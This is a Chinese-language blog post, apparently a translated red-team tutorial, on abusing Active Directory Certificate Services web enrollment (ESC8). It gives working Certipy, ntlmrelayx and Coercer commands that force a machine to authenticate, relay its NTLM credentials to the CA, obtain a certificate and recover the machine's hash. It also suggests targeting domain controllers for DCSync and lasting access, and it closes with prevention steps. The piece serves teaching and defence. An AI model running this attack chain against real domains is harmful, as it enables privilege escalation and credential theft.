滥用Active Directory证书服务(第三部分):Web注册功能利用与NTLM中继攻击

本文详细介绍了如何利用Active Directory证书服务的Web注册功能进行NTLM中继攻击,包括ESC8漏洞利用、Certipy工具使用、强制认证技巧以及防御措施,涵盖从枚举到权限提升的完整攻击链。

滥用Active Directory证书服务(第三部分)

在本博客系列的第一部分和第二部分中,我们讨论了Active Directory证书模板的常见错误配置。本文将重点介绍Web注册功能的利用方法。

Active Directory证书服务(ADCS)支持基于HTTP的注册方法。如果启用,基于HTTP的证书注册接口可能容易受到NTLM中继攻击。如果攻击者能够诱使受害者账户向攻击者控制的机器进行身份验证,就可以将凭据材料中继到证书颁发机构,以受害者名义请求证书。

在某些情况下,中继攻击甚至不需要域凭据。例如,如果受害者主机未针对CVE-2021-36942打补丁,网络上的攻击者可以通过LSARPC(本地系统权限远程协议)接口滥用易受攻击的API方法OpenEncryptedFileRaw,诱骗受害者机器向攻击者主机进行身份验证。

本文将不详细讨论中继攻击,但BHIS为红队和蓝队提供了许多关于中继攻击的资源,可以在本文末尾的"资源"部分找到。

ESC8

在以下示例中,假设我们已经在我们目标公司FOOBAR的内部网络中获得了立足点,并已攻陷名为"billy"的用户账户。我们希望枚举内部目标域"foobar.com"的ADCS配置。

要使用Certipy2枚举ADCS配置,请使用find命令并使用-enabled标志专门打印出已启用的模板。

完整的Certipy命令如下所示:

1
2
3
4
5
certipy find \
  -u 'billy@foobar.com' \
  -p <PASSWORD> \
  -dc-ip <DC_IP> \
  -enabled

Certipy以JSON(JavaScript对象表示法)和TXT文件输出枚举结果,文件名遵循"<日期-时间戳>_Certipy"命名约定,如下图所示。

ADCS枚举

请注意,ESC8技术并不滥用证书模板的错误配置。相反,该技术利用了证书颁发机构(CA)服务器的配置。

容易受到ESC8攻击的Active Directory证书颁发机构满足以下条件:

  • Web注册:已启用
  • 请求处置:颁发

易受攻击的证书颁发机构

如上图所示,foobar-CA容易受到ESC8攻击,这意味着如果我们能够诱使域账户向我们的机器进行身份验证,就可以将受害者的凭据材料中继到CA,以获取代表该受害者的证书。

中继攻击中指定的模板必须是受害者账户有权注册的模板。例如,常见的NTLM中继技术涉及通过滥用Microsoft的加密文件系统远程协议(MS-EFSRPC)诱骗机器账户向攻击者控制的主机进行身份验证。

在此示例中,我们将强制server01.foobar.com向我们的机器(10.10.1.100)进行身份验证,并使用以下已启用的模板请求证书。

域计算机模板

攻击路径可以总结如下:

  1. 强制受害者机器(server01.foobar.com)向攻击者控制的主机进行身份验证
  2. 将从受害者获得的哈希中继到ADCS HTTP端点http://<VULNERABLE_CA>/certsrv/certfnsh.asp
  3. 以强制机器账户的名义请求证书
  4. 使用获得的证书进行身份验证以收集受害者机器的NTLM哈希

步骤1:设置中继

我们可以配置Certipy将强制凭据中继到ADCS HTTP端点http://foobar-CA.foobar.com/certsrv/certfnsh.asp,使用以下命令以server01.foobar.com的名义请求证书。

1
2
3
certipy relay \
  -ca foobar-CA.foobar.com \
  -template 'DomainComputers'

如果不指定模板名称,Certipy将尝试使用Machine和User模板颁发证书。这些是默认模板,但这并不意味着它们将在您的目标环境中可用或适用于您的受害者账户。

Impacket命令如下所示:

1
2
3
4
python3 ntlmrelayx.py \
  -t 'http://foobar-CA.foobar.com/certsrv/certfnsh.asp' \
  --adcs \
  --template 'DomainComputers'

如果不指定模板名称,Ntlmrelayx将尝试使用DomainController模板颁发证书。这是一个默认模板,但可能不在您的目标环境中可用。

步骤2:强制受害者机器并为其请求证书

有几种工具可用于进行强制攻击:

在此示例中,我们将使用Coercer,这是一个Python工具,可以通过调用已知易受攻击的RPC(远程过程调用)函数来强制Windows机器向您的机器进行身份验证。

1
2
3
4
5
6
coercer coerce \
  -t server01.foobar.com \
  -I 10.10.1.100 \
  -u 'billy@foobar.com' \
  -p <PASSWORD> \
  -d foobar.com

强制受害者机器

上图中概述的错误[+](ERROR_BAD_NETPATH)是我喜欢称之为"好错误"的结果。此结果表明强制成功。如上图所示,Coercer尝试使用多种RPC方法强制server01进行身份验证。该工具成功使用EfsRpcDecryptFileSrv方法强制受害者进行身份验证。

如下图所示,凭据材料通过我们之前设置的Certipy中继中继到目标端点http://foobar-CA.foobar.com/certsrv/certfnsh.asp,并为server01获得了证书。

Certipy中继服务器

故障排除侧边栏

如果您遇到Certipy返回证书但对象没有标识并且无法使用生成的PFX进行身份验证的情况,如下例所示:

获得的证书没有标识 使用证书认证失败

您可能需要使用-upn标志并指定受害者的名称。例如:

1
2
3
4
5
certipy relay \
  -ca 'foobar-CA' \
  -template 'DomainController' \
  -target 'FOOBAR-CA.foobar.com' \
  -upn 'DC01$@foobar.com'

获取DC01$的证书

侧边栏结束

步骤3:冒充受害者用户

一旦我们成功强制目标机器server01并将凭据中继以获取代表server01.foobar.com的证书,我们就可以使用该证书获取目标server01账户的凭据哈希和Kerberos票证,使用以下Certipy auth命令:

1
certipy auth -pfx server01.pfx

我们已成功检索到server01账户的哈希,并且可以冒充server01!

获取Server01凭据

总之,启用Web注册的证书颁发机构容易受到NTLM中继攻击。在某些情况下,可以在没有域凭据的情况下执行中继攻击。此问题可能允许用户在目标环境中提升权限。

其他需要考虑的事项

  • 尝试强制域控制器(DC)。过去我在这方面有很多成功经验。如果您能强制域控制器,就可以冒充DC并获得对目标域的DCSync访问权限。
  • 当您获得证书时,Certipy将返回请求ID或对象SID。请注意这些值。您可以使用该信息撤销证书。
  • 证书在有效期结束前一直有效,除非明确撤销。有效期由模板配置决定。使用上面的示例,这意味着无论密码如何更改,我们将在未来五年内拥有对server01.foobar.com账户的访问权限。

预防

那么,我们可以采取哪些措施来预防此类攻击?以下是几个步骤:

  • 如果不需要,禁用ADCS HTTP端点
  • 如果可能,禁用NTLM身份验证
  • 强制执行HTTPS并启用扩展身份验证保护
  • 启用SMB/LDAP签名要求
  • 强制执行LDAP通道绑定

资源

BHIS博客:

BHIS网络研讨会:

其他资源:

阅读本系列更多内容:

  • 滥用Active Directory证书服务(第一部分)
  • 滥用Active Directory证书服务(第二部分)
  • 滥用Active Directory证书服务(第四部分)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计